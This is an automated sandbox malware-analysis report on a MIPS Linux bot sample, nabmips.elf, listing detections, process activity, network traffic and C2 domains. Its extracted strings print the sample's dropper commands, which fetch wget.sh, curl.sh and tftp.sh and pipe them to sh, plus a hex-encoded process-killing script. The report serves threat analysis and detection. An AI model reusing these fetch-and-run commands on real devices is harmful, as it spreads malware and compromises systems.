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Linux Analysis Report
nabmips.elf

Overview

General Information

Sample name:	nabmips.elf
Analysis ID:	1563467
MD5:	172ff09a66367e0dfeef820e0f3f874f
SHA1:	b721b074dc4ed21b90ef8e083f04f656e08fbc08
SHA256:	748adc4ec134fcbf8e7f2eef02ddd05db9d66d8e5bcfb5aef4899b9086ab910f
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563467
Start date and time:	2024-11-27 00:11:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmips.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/145@11/0

Runtime Messages

Command:	/tmp/nabmips.elf
PID:	6231
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6213, Parent: 4331)

rm (PID: 6213, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.rMbuYdBC1D /tmp/tmp.hbddPZBtAa /tmp/tmp.18PcI8mjXb

dash New Fork (PID: 6214, Parent: 4331)

cat (PID: 6214, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.rMbuYdBC1D

dash New Fork (PID: 6215, Parent: 4331)

head (PID: 6215, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6216, Parent: 4331)

tr (PID: 6216, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6217, Parent: 4331)

cut (PID: 6217, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6218, Parent: 4331)

cat (PID: 6218, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.rMbuYdBC1D

dash New Fork (PID: 6219, Parent: 4331)

head (PID: 6219, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6220, Parent: 4331)

tr (PID: 6220, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6221, Parent: 4331)

cut (PID: 6221, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6222, Parent: 4331)

rm (PID: 6222, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.rMbuYdBC1D /tmp/tmp.hbddPZBtAa /tmp/tmp.18PcI8mjXb

nabmips.elf (PID: 6231, Parent: 6146, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/nabmips.elf

nabmips.elf New Fork (PID: 6234, Parent: 6231)

nabmips.elf New Fork (PID: 6236, Parent: 6234)

nabmips.elf New Fork (PID: 6240, Parent: 6234)

nabmips.elf New Fork (PID: 6242, Parent: 6234)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabmips.elf

ReversingLabs: Detection: 36%

Source: nabmips.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.213.187.213 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.214 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.242 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.245 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.248 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:33570 -> 154.213.187.214:38241
Source: global traffic	TCP traffic: 192.168.2.23:41308 -> 154.213.187.248:38241
Source: global traffic	TCP traffic: 192.168.2.23:60446 -> 154.213.187.242:38241
Source: global traffic	TCP traffic: 192.168.2.23:39830 -> 154.213.187.213:38241
Source: global traffic	TCP traffic: 192.168.2.23:48252 -> 154.213.187.245:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 52.126.167.205
Source: unknown	TCP traffic detected without corresponding DNS query: 132.203.24.28
Source: unknown	TCP traffic detected without corresponding DNS query: 148.132.32.126
Source: unknown	TCP traffic detected without corresponding DNS query: 42.76.193.26
Source: unknown	TCP traffic detected without corresponding DNS query: 152.80.153.67
Source: unknown	TCP traffic detected without corresponding DNS query: 41.62.155.3
Source: unknown	TCP traffic detected without corresponding DNS query: 59.227.79.221
Source: unknown	TCP traffic detected without corresponding DNS query: 173.225.151.102
Source: unknown	TCP traffic detected without corresponding DNS query: 93.0.74.195
Source: unknown	TCP traffic detected without corresponding DNS query: 223.207.220.106
Source: unknown	TCP traffic detected without corresponding DNS query: 205.9.128.145
Source: unknown	TCP traffic detected without corresponding DNS query: 44.216.187.232
Source: unknown	TCP traffic detected without corresponding DNS query: 187.15.96.164
Source: unknown	TCP traffic detected without corresponding DNS query: 179.69.60.35
Source: unknown	TCP traffic detected without corresponding DNS query: 102.45.41.229
Source: unknown	TCP traffic detected without corresponding DNS query: 163.43.146.163
Source: unknown	TCP traffic detected without corresponding DNS query: 72.8.199.39
Source: unknown	TCP traffic detected without corresponding DNS query: 82.89.142.51
Source: unknown	TCP traffic detected without corresponding DNS query: 192.53.254.50
Source: unknown	TCP traffic detected without corresponding DNS query: 211.67.236.13
Source: unknown	TCP traffic detected without corresponding DNS query: 123.58.177.229
Source: unknown	TCP traffic detected without corresponding DNS query: 74.58.15.67
Source: unknown	TCP traffic detected without corresponding DNS query: 135.128.211.2
Source: unknown	TCP traffic detected without corresponding DNS query: 9.145.95.174
Source: unknown	TCP traffic detected without corresponding DNS query: 71.102.99.0
Source: unknown	TCP traffic detected without corresponding DNS query: 156.58.200.63
Source: unknown	TCP traffic detected without corresponding DNS query: 150.121.120.186
Source: unknown	TCP traffic detected without corresponding DNS query: 199.214.105.138
Source: unknown	TCP traffic detected without corresponding DNS query: 147.200.118.204
Source: unknown	TCP traffic detected without corresponding DNS query: 78.205.228.69
Source: unknown	TCP traffic detected without corresponding DNS query: 19.99.94.185
Source: unknown	TCP traffic detected without corresponding DNS query: 140.109.82.160
Source: unknown	TCP traffic detected without corresponding DNS query: 52.126.167.205
Source: unknown	TCP traffic detected without corresponding DNS query: 198.163.97.130
Source: unknown	TCP traffic detected without corresponding DNS query: 131.169.72.255
Source: unknown	TCP traffic detected without corresponding DNS query: 132.203.24.28
Source: unknown	TCP traffic detected without corresponding DNS query: 112.240.211.220
Source: unknown	TCP traffic detected without corresponding DNS query: 55.136.204.255
Source: unknown	TCP traffic detected without corresponding DNS query: 120.124.1.109
Source: unknown	TCP traffic detected without corresponding DNS query: 148.132.32.126
Source: unknown	TCP traffic detected without corresponding DNS query: 116.116.145.163
Source: unknown	TCP traffic detected without corresponding DNS query: 42.76.193.26
Source: unknown	TCP traffic detected without corresponding DNS query: 12.169.185.196
Source: unknown	TCP traffic detected without corresponding DNS query: 95.66.235.60
Source: unknown	TCP traffic detected without corresponding DNS query: 152.80.153.67
Source: unknown	TCP traffic detected without corresponding DNS query: 222.174.11.191
Source: unknown	TCP traffic detected without corresponding DNS query: 42.187.68.222
Source: unknown	TCP traffic detected without corresponding DNS query: 41.62.155.3
Source: unknown	TCP traffic detected without corresponding DNS query: 15.247.132.249

Source: global traffic	DNS traffic detected: DNS query: netfags.geek
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre

Source: nabmips.elf	String found in binary or memory: http:///curl.sh
Source: nabmips.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6267/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6267/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 6240)	File opened: /proc/6305/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6213)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.rMbuYdBC1D /tmp/tmp.hbddPZBtAa /tmp/tmp.18PcI8mjXb			Jump to behavior
Source: /usr/bin/dash (PID: 6222)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.rMbuYdBC1D /tmp/tmp.hbddPZBtAa /tmp/tmp.18PcI8mjXb			Jump to behavior

Source: nabmips.elf, 6231.1.000055c0a7b75000.000055c0a7bfc000.rw-.sdmp, nabmips.elf, 6236.1.000055c0a7b75000.000055c0a7bfc000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: nabmips.elf, 6231.1.000055c0a7b75000.000055c0a7bfc000.rw-.sdmp, nabmips.elf, 6236.1.000055c0a7b75000.000055c0a7bfc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: nabmips.elf, 6231.1.00007ffd98484000.00007ffd984a5000.rw-.sdmp, nabmips.elf, 6236.1.00007ffd98484000.00007ffd984a5000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: nabmips.elf, 6231.1.00007ffd98484000.00007ffd984a5000.rw-.sdmp, nabmips.elf, 6236.1.00007ffd98484000.00007ffd984a5000.rw-.sdmp	Binary or memory string: Xx86_64/usr/bin/qemu-mips/tmp/nabmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmips.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Antivirus Detection	Reputation
netfags.geek	154.213.187.248	true	false		high
burnthe.libre	154.213.187.248	true	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmips.elf	false		high
http:///curl.sh	nabmips.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
104.170.223.54	unknown	United States	36352	AS-COLOCROSSINGUS	false
193.38.244.255	unknown	unknown	48095	XTGLOBALRO	false
12.169.185.196	unknown	United States	7018	ATT-INTERNET4US	false
76.182.154.251	unknown	United States	10796	TWC-10796-MIDWESTUS	false
197.80.20.166	unknown	South Africa	10474	OPTINETZA	false
11.172.212.215	unknown	United States	3356	LEVEL3US	false
164.3.198.217	unknown	Austria	8387	T-SYSTEMS-ATRennweg97-99AT	false
146.43.77.129	unknown	United States	197938	TRAVIANGAMESDE	false
135.128.211.2	unknown	United States	14962	NCR-252US	false
174.212.234.136	unknown	United States	22394	CELLCOUS	false
133.153.131.92	unknown	Japan	17509	STARNETSTARNETCoLtdJP	false
223.147.250.252	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
166.87.184.148	unknown	Saudi Arabia	5080	ARAMCO-ASUS	false
44.221.153.81	unknown	United States	14618	AMAZON-AESUS	false
112.94.49.204	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
222.174.11.191	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
6.97.220.254	unknown	United States	3356	LEVEL3US	false
42.10.198.46	unknown	Korea Republic of	4249	LILLY-ASUS	false
187.73.141.170	unknown	Brazil	28576	ITIBR-InstitutodeTecnologiaInformacaoBrasilBR	false
38.101.7.246	unknown	United States	174	COGENT-174US	false
71.102.99.0	unknown	United States	701	UUNETUS	false
221.199.230.250	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
173.158.222.32	unknown	United States	10507	SPCSUS	false
170.54.232.254	unknown	United States	32261	SUBSPACEUS	false
21.129.67.227	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
56.94.176.210	unknown	United States	2686	ATGS-MMD-ASUS	false
15.254.105.52	unknown	United States	16509	AMAZON-02US	false
194.127.92.78	unknown	Germany	15580	Gutenbergstrasse8DE	false
137.52.14.13	unknown	United States	33670	NOVASOUTHEASTERNASUS	false
25.136.187.69	unknown	United Kingdom	7922	COMCAST-7922US	false
218.130.15.108	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
78.106.68.61	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
42.88.79.75	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
47.255.169.100	unknown	Canada	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
53.55.129.79	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
85.165.80.147	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
180.153.181.51	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
197.225.117.19	unknown	Mauritius	23889	MauritiusTelecomMU	false
121.195.229.220	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
148.229.148.182	unknown	Mexico	32098	TRANSTELCO-INCUS	false
142.246.231.124	unknown	Canada	395272	PCMCA	false
54.13.192.187	unknown	United States	14618	AMAZON-AESUS	false
29.45.24.125	unknown	United States	7922	COMCAST-7922US	false
218.35.142.21	unknown	Taiwan; Republic of China (ROC)	7482	APOL-ASAsiaPacificOn-lineServiceIncTW	false
138.163.166.177	unknown	United States	637	DNIC-ASBLK-00616-00665US	false
186.17.240.73	unknown	Paraguay	23201	TelecelSAPY	false
3.103.156.105	unknown	United States	16509	AMAZON-02US	false
199.7.129.34	unknown	United States	53536	PRINETIMEUS	false
79.75.106.73	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
200.198.8.88	unknown	Brazil	10670	COMPANHIADETECNOLOGIADAINFORMACAOESTADOMGBR	false
206.117.172.212	unknown	United States	5726	INTERWORLDUS	false
126.198.50.168	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
176.209.75.144	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
122.199.70.20	unknown	Korea Republic of	9981	SAERONET-AS-KRSaeroNetworkServiceLTDKR	false
5.91.207.213	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
157.105.170.20	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
223.58.126.208	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
60.51.97.11	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
61.7.214.196	unknown	Thailand	9931	CAT-APTheCommunicationAuthoityofThailandCATTH	false
169.160.185.227	unknown	United States	37611	AfrihostZA	false
108.139.146.133	unknown	United States	16509	AMAZON-02US	false
13.12.106.190	unknown	United States	26662	XEROX-WVUS	false
134.63.70.232	unknown	United States	553	BELWUEBelWue-KoordinationEU	false
180.217.73.127	unknown	Taiwan; Republic of China (ROC)	24157	VIBO-NET-ASTaiwanStarTelecomCorporationLimitedFormer	false
212.254.19.53	unknown	Switzerland	12350	VTX-NETWORKCH	false
130.26.35.33	unknown	India	367	DNIC-ASBLK-00306-00371US	false
94.197.178.24	unknown	United Kingdom	206067	H3GUKGB	false
4.186.169.207	unknown	United States	3356	LEVEL3US	false
74.24.95.146	unknown	United States	7922	COMCAST-7922US	false
219.67.58.191	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
194.20.236.28	unknown	Italy	6665	SHINY-ASCorsonazionale19IT	false
3.24.21.60	unknown	United States	16509	AMAZON-02US	false
161.90.108.131	unknown	Netherlands	14298	EPA-NETUS	false
52.122.122.165	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.10.75.18	unknown	United States	36224	HCLTA94085US	false
25.79.230.204	unknown	United Kingdom	7922	COMCAST-7922US	false
218.179.3.44	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
99.78.46.137	unknown	United States	7018	ATT-INTERNET4US	false
159.131.99.206	unknown	United States	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
65.177.131.215	unknown	United States	1239	SPRINTLINKUS	false
217.68.20.124	unknown	United Kingdom	15830	EQUINIX-CONNECT-EMEAGB	false
29.247.24.78	unknown	United States	7922	COMCAST-7922US	false
53.46.60.253	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
147.200.118.204	unknown	Australia	55542	RMSNET-AS-APRoadsandMaritimeServicesAU	false
211.116.128.72	unknown	Korea Republic of	18302	SKG_NW-AS-KRSKTelecomKR	false
39.202.164.164	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
157.168.83.157	unknown	Switzerland	22192	SSHENETUS	false
114.44.222.80	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
109.153.246.121	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
113.225.206.246	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
149.41.23.150	unknown	United States	174	COGENT-174US	false
72.238.69.132	unknown	United States	33363	BHN-33363US	false
215.154.208.92	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
143.253.127.90	unknown	Japan	34846	CCORE-ASEU	false
